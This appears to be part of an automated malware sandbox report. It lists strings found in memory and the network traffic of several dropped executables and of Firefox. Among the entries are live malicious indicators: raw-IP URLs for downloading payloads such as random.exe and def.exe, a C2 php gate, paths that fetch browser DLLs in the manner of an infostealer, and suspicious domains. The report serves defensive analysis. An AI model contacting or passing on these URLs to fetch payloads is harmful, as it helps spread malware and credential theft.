Source: firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.twitter.com (Twitter)
Source: firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/L equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000002.3270210836.0000028B38CE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.3270210836.0000028B38CE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000024.00000002.3270210836.0000028B38CE0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3325427909.0000028B3D14E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.twitter.com (Twitter)
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://safebrowsing.googleapis.com/v4/threatListUpdates:fetch?$ct=application/x-protobuf&key=AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo&$httpMethod=POST equals www.youtube.com (Youtube)
Source: firefox.exe, 00000024.00000002.3310536255.0000028B3BD86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.3310536255.0000028B3BD9A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3310536255.0000028B3BD86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.3298635178.0000028B3B8F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: x://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000024.00000002.3238840239.0000028B37372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: {33d75835-722f-42c0-89cc-44f328e56a86}Can't invoke URIFixup in the content processresource://gre/modules/FileUtils.sys.mjshttps://mail.inbox.lv/compose?to=%shttp://poczta.interia.pl/mh/?mailto=%sisDownloadsImprovementsAlreadyMigratedhttp://compose.mail.yahoo.co.jp/ym/Compose?To=%s@mozilla.org/uriloader/web-handler-app;1resource://gre/modules/FileUtils.sys.mjsresource://gre/modules/JSONFile.sys.mjshttp://www.inbox.lv/rfc2368/?value=%shttp://win.mail.ru/cgi-bin/sentmsg?mailto=%sget FIXUP_FLAG_FORCE_ALTERNATE_URIextractScheme/fixupChangedProtocol<https://e.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/URIFixup.sys.mjs{c6cf88b7-452e-47eb-bdc9-86e3561648ef}_injectDefaultProtocolHandlersIfNeededresource://gre/modules/DeferredTask.sys.mjshandlerSvc fillHandlerInfo: don't know this type@mozilla.org/network/file-input-stream;1resource://gre/modules/ExtHandlerService.sys.mjsresource://gre/modules/JSONFile.sys.mjshttps://mail.yahoo.co.jp/compose/?To=%shttps://poczta.interia.pl/mh/?mailto=%s@mozilla.org/uriloader/dbus-handler-app;1resource://gre/modules/NetUtil.sys.mjsScheme should be either http or httpsgecko.handlerService.defaultHandlersVersion@mozilla.org/uriloader/local-handler-app;1@mozilla.org/network/async-stream-copier;1@mozilla.org/network/simple-stream-listener;1newChannel requires a single object argumentMust have a source and a callbackNon-zero amount of bytes must be specified@mozilla.org/intl/converter-input-stream;1@mozilla.org/scriptableinputstream;1@mozilla.org/network/input-stream-pump;1https://mail.yahoo.co.jp/compose/?To=%shttps://poczta.interia.pl/mh/?mailto=%spdfjs.previousHandler.preferredActionpdfjs.previousHandler.alwaysAskBeforeHandlinghttps://mail.yandex.ru/compose?mailto=%s@mozilla.org/uriloader/handler-service;1VALIDATE_DONT_COLLAPSE_WHITESPACE@mozilla.org/uriloader/handler-service;1SEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULLFirst argument should be an nsIInputStreamhttps://mail.inbox.lv/compose?to=%shttps://e.mail.ru/cgi-bin/sentmsg?mailto=%s equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: tacitglibbr.biz
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: prod.classify-client.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: youtube.com
Source: global traffic	DNS traffic detected: DNS query: detectportal.firefox.com
Source: global traffic	DNS traffic detected: DNS query: prod.detectportal.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: contile.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: example.org
Source: global traffic	DNS traffic detected: DNS query: ipv4only.arpa
Source: global traffic	DNS traffic detected: DNS query: prod.balrog.prod.cloudops.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: spocs.getpocket.com
Source: global traffic	DNS traffic detected: DNS query: prod.ads.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: content-signature-2.cdn.mozilla.net
Source: global traffic	DNS traffic detected: DNS query: prod.content-signature-chains.prod.webservices.mozgcp.net
Source: global traffic	DNS traffic detected: DNS query: shavar.services.mozilla.com
Source: global traffic	DNS traffic detected: DNS query: httpbin.org
Source: global traffic	DNS traffic detected: DNS query: home.twentygr20sb.top
Source: global traffic	DNS traffic detected: DNS query: twentygr20sb.top

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: tacitglibbr.biz

Source: firefox.exe, 00000024.00000002.3225615752.0000028B2AD5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:
Source: 90c05232da.exe, 00000011.00000003.3161605683.00000000008A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: 90c05232da.exe, 00000011.00000003.3161605683.00000000008A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/7k
Source: 90c05232da.exe, 00000011.00000003.3161605683.00000000008A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Ak
Source: 90c05232da.exe, 00000011.00000003.3161605683.00000000008A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/hjb
Source: skotes.exe, 0000000E.00000003.7174413854.0000000001374000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 0000000E.00000003.7174413854.0000000001374000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe:
Source: 90c05232da.exe, 00000011.00000003.3161605683.00000000008A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 90c05232da.exe, 00000011.00000003.3162655463.0000000000845000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeA
Source: 90c05232da.exe, 00000011.00000003.3161605683.00000000008A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeEM
Source: 90c05232da.exe, 00000011.00000003.3161605683.00000000008A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exefz
Source: skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exe?O(
Source: skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/random.exeWO
Source: skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp, 90c05232da.exe, 00000011.00000003.3161605683.00000000008A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeeLV
Source: skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exe
Source: skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/well/random.exevOa
Source: 90c05232da.exe, 00000011.00000003.3162655463.0000000000845000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: ba324316e4.exe, 00000012.00000002.3508880280.00000000013BE000.00000004.00000020.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000002.3502074950.0000000000A17000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.206
Source: ba324316e4.exe, 00000012.00000002.3508880280.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: ba324316e4.exe, 00000012.00000002.3508880280.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: ba324316e4.exe, 00000012.00000002.3508880280.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dllg
Source: ba324316e4.exe, 00000012.00000002.3508880280.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: ba324316e4.exe, 00000012.00000002.3508880280.00000000013BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll(
Source: ba324316e4.exe, 00000012.00000002.3508880280.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll)
Source: ba324316e4.exe, 00000012.00000002.3508880280.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll-
Source: ba324316e4.exe, 00000012.00000002.3508880280.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll1
Source: ba324316e4.exe, 00000012.00000002.3508880280.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll?
Source: ba324316e4.exe, 00000012.00000002.3508880280.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllc
Source: ba324316e4.exe, 00000012.00000002.3508880280.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: ba324316e4.exe, 00000012.00000002.3508880280.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: ba324316e4.exe, 00000012.00000002.3508880280.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll.
Source: ba324316e4.exe, 00000012.00000002.3508880280.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllll
Source: ba324316e4.exe, 00000012.00000002.3508880280.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllllK
Source: ba324316e4.exe, 00000012.00000002.3508880280.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllllY
Source: ba324316e4.exe, 00000012.00000002.3508880280.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dlllly
Source: ba324316e4.exe, 00000012.00000002.3508880280.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: ba324316e4.exe, 00000012.00000002.3508880280.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll3
Source: ba324316e4.exe, 00000012.00000002.3508880280.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: ba324316e4.exe, 00000012.00000002.3508880280.0000000001403000.00000004.00000020.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000002.3508880280.0000000001492000.00000004.00000020.00020000.00000000.sdmp, ba324316e4.exe, 00000012.00000002.3508880280.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: ba324316e4.exe, 00000012.00000002.3508880280.0000000001403000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllP
Source: ba324316e4.exe, 00000012.00000002.3508880280.0000000001492000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllb
Source: ba324316e4.exe, 00000012.00000002.3508880280.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dlll
Source: ba324316e4.exe, 00000012.00000002.3508880280.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: ba324316e4.exe, 00000012.00000002.3508880280.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: ba324316e4.exe, 00000012.00000002.3508880280.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php3
Source: ba324316e4.exe, 00000012.00000002.3502074950.0000000000A17000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php3dc0d2565876b5512cf1aff734e0
Source: ba324316e4.exe, 00000012.00000002.3508880280.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpam
Source: ba324316e4.exe, 00000012.00000002.3508880280.0000000001492000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpata
Source: ba324316e4.exe, 00000012.00000002.3502074950.0000000000A17000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpation
Source: ba324316e4.exe, 00000012.00000002.3502074950.0000000000A17000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpcal
Source: ba324316e4.exe, 00000012.00000002.3502074950.0000000000A17000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpge
Source: ba324316e4.exe, 00000012.00000002.3502074950.0000000000A17000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpinit.exe
Source: ba324316e4.exe, 00000012.00000002.3502074950.0000000000A17000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.206/form-data;
Source: ba324316e4.exe, 00000012.00000002.3502074950.0000000000A17000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.206ECA
Source: ba324316e4.exe, 00000012.00000002.3502074950.0000000000A17000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.206c4becf79229cb002.phpion:
Source: ba324316e4.exe, 00000012.00000002.3502074950.0000000000A17000.00000040.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://185.215.113.206ta
Source: skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000000E.00000003.7173504071.0000000001400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php1016142001
Source: skotes.exe, 0000000E.00000003.7174413854.0000000001374000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php32
Source: skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php;
Source: skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpG
Source: skotes.exe, 0000000E.00000003.7174413854.000000000136D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpN
Source: skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpaE
Source: skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpse
Source: skotes.exe, 0000000E.00000003.7174413854.000000000136D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php~
Source: skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe
Source: skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/burpin1/random.exe/
Source: skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exe
Source: skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/fate/random.exe-ER
Source: skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/flava/random.exe
Source: skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/martin/random.exe
Source: skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/martin/random.exeUE
Source: skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique1/random.exe
Source: skotes.exe, 0000000E.00000003.7174413854.0000000001388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/unique3/random.exe
Source: firefox.exe, 00000024.00000002.3298635178.0000028B3B833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.0/
Source: firefox.exe, 00000024.00000002.3298635178.0000028B3B833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearch/1.1/
Source: firefox.exe, 00000024.00000002.3298635178.0000028B3B833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.0/
Source: firefox.exe, 00000024.00000002.3298635178.0000028B3B833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://a9.com/-/spec/opensearchdescription/1.1/
